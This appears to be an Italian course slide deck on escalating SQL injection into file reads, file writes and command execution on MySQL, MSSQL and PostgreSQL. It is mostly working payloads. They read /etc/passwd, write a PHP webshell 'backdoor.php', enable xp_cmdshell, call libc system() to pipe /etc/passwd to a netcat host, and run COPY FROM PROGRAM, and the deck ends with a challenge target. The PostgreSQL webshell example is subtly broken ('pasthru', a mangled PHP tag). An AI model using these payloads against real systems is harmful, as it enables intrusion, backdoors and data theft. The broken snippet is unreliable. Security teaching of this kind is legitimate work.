coppito_zero_day

SQL INJECTION

LESSON 03

'FOOTHOLD AND S.O. EXPLOITATION FROM SQL INJECTION

Abbiamo scoperto e sfruttato una SQLi, cos'altro possiamo fare?

Leggere dal database non ci basta! :D Attraverso alcune tecniche possiamo ottenere un accesso più completo al sistema operativo.

'FOOTHOLD AND S.O. EXPLOITATION FROM SQL INJECTION

- LFI (Local File Inclusion)
  Ci permette di leggere file dal sistema operativo.
- FILE WRITING
  Ci permette di scrivere file sul sistema operativo.
- RCE (Remote Command Execution) Ci permette di eseguire comandi sul sistema operativo.

Tutto questo tramite il DATABASE!

'READING FILE IN MYSQL

```
CREATE TABLE `users` (user char(50));
LOAD DATA INFILE '/etc/passwd' INTO TABLE `users`;
```

`LOAD DATA INFILE` legge i dati da un file e li inserisce in una tabella.

```
SELECT LOAD_FILE('/etc/passwd');
```

`LOAD_FILE` legge i dati da un file e li restituisce.

'READING FILE IN MYSQL

LIMITAZIONI

- `LOAD DATA INFILE` e `LOAD_FILE` possono essere utilizzati solo se l'utente del DB che esegue i comandi ha il privilegio `FILE`.
- Se la variabile di sistema `secure_file_priv` è settata possiamo leggere file solo dalla cartella indicata dalla stessa.
- Il file che vogliamo leggere deve essere world-readable.
- L'argomento passato a `LOAD_FILE` può essere anche un HEX, come `SELECT LOAD_FILE(0x2F6574632F706173737764)`, mentre per `LOAD DATA INFILE` l'argomento deve essere necessariamente una stringa.

coppito_zero_day

'READING FILE IN MYSQL

ESEMPIO

```php
$sql = "SELECT id, title, content FROM pages WHERE id = '" . $_GET['id'] . "'";
$result = $conn->query($sql);
while($row = $result->fetch_array()){
  echo $row['title'];
}
```

Valore in input:

```
$_GET[id] = "1' UNION ALL SELECT 1, LOAD_FILE('/etc/passwd'), 3 -- -"
```

Risultato:

```
SELECT id, title, content FROM pages WHERE id = '1'
UNION ALL SELECT 1, LOAD_FILE('/etc/passwd'), 3 -- -'
```

title
Title news 1
Title news 2
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin john:x:13:13:proxy:/bin:/usr/bin/bash

'READING FILE IN MSSQL

```
CREATE TABLE mydata (line varchar(8000));
BULK INSERT mydata FROM 'c:\boot.ini';
SELECT line FROM mydata;
DROP TABLE mydata;
```

`BULK INSERT` legge i dati da un file e li inserisce in una tabella.
Questo comando, combinato con le stacked queries sempre attive in MSSQL, ci permette di leggere un file al volo.

LIMITAZIONI

Ci serve il permesso `ADMINISTER BULK OPERATIONS`.

'READING FILE IN POSTGRESQL

```
CREATE TABLE mydata(t text);
COPY mydata FROM '/etc/passwd';
SELECT t FROM mydata;
DROP TABLE mydata;
```

`COPY` ci permette di spostare dati tra una tabella ed un file nel filesystem.
Con `COPY FROM` possiamo prendere il contenuto di un file ed inserirlo in una tabella.

LIMITAZIONI

Il file da leggere deve essere world-readable.

'WRITING FILE IN MYSQL

```
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/backdoor.php';
SELECT '<?php system($_GET["cmd"]); ?>' INTO DUMPFILE '/var/www/backdoor.php';
```

`INTO OUTFILE` scrive il risultato della query in un file.

`INTO DUMPFILE` scrive il risultato della query in un file binario.

Il file da scrivere deve essere world-writable.

'WRITING FILE IN MYSQL

ESEMPIO

```php
$sql = "SELECT id, title, content FROM pages WHERE id = '" . $_GET['id'] . "'";
$result = $conn->query($sql);
while($row = $result->fetch_array()){
  echo $row['title'];
}
```

Valore in input:

```
$_GET[id] = "1' AND 1=0 UNION ALL SELECT null, '<?php system($_GET["cmd"])', null
INTO OUTFILE '/var/www/backdoor.php' -- -"
```

Risultato:

```
SELECT id, title, content FROM pages WHERE id = '1' AND 1=0
UNION ALL
SELECT null,'<?php system($_GET["cmd"])',null INTO OUTFILE '/var/www/backdoor.php' -- -'
```

BOOM! Abbiamo appena creato una backdoor.

'WRITING FILE IN MYSQL

ESEMPIO - NOTE

- Abbiamo aggiunto `AND 1=0` per escludere l'output della query originale e mantenere l'output finale pulito.
- Per lo stesso motivo abbiamo usato i `null` invece dei classici numeri.
- Dobbiamo conoscere il path assoluto del file che vogliamo scrivere per potervi accedere tramite webserver.

'WRITING FILE IN MSSQL

Non esiste un comando per scrivere direttamente file in MSSQL. Possiamo usare una stored procedure o un trucco che vedremo nel prossimo capitolo.

'WRITING FILE IN POSTGRESQL

```
CREATE TABLE mydata (t text);
INSERT INTO mydata (t) VALUES ('<!--? pasthru($_GET[cmd]); ?-->');
COPY mydata (t) TO '/tmp/test.php';
DROP TABLE mydata;
```

Stessa tecnica del file reading.
`COPY` ci permette di spostare dati tra una tabella ed un file nel filesystem.
Con `COPY TO` possiamo prendere il contenuto di una tabella ed inserirlo in un file.

Il file da scrivere deve essere world-writable.

'RCE IN MYSQL

Non esiste un comando per eseguire direttamente comandi in MySQL.

Possiamo però abusare del file writing e scrivere un file che ci permette di eseguire comandi.

'RCE IN MSSQL

```
EXEC master.dbo.xp_cmdshell 'cmd';
```

Nelle versioni moderne di MSSQL `xp_cmdshell` è disabilitato di default...ma possiamo attivarlo :D

```
EXEC sp_configure 'show advanced options', 1;
EXEC sp_configure reconfigure;
EXEC sp_configure 'xp_cmdshell', 1;
EXEC sp_configure reconfigure;
```

Per MSSQL esistono anche altre tecniche per ottenere RCE (cheatsheet: https://www.gracefulsecurity.com/sql-injection-cheat-sheet-mssql/)

'RCE IN POSTGRESQL

```
CREATE OR REPLACE FUNCTION system(cstring) RETURNS int
AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc IP PORT');
```

Possiamo fare affidamento sulla presenza della LIBC.

Dobbiamo conoscere la posizione della libc nel sistema.

E' un comando privilegiato (DBA).

```
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec from program 'whoami';
SELECT * from cmd_exec;
```

In alternativa possiamo abusare di COPY, usando come per File Writing e File Reading una tabella di appoggio.
Questo non è un comando privilegiato.

coppito_zero_day

CHALLENGE

HTTP://167.172.164.187/333/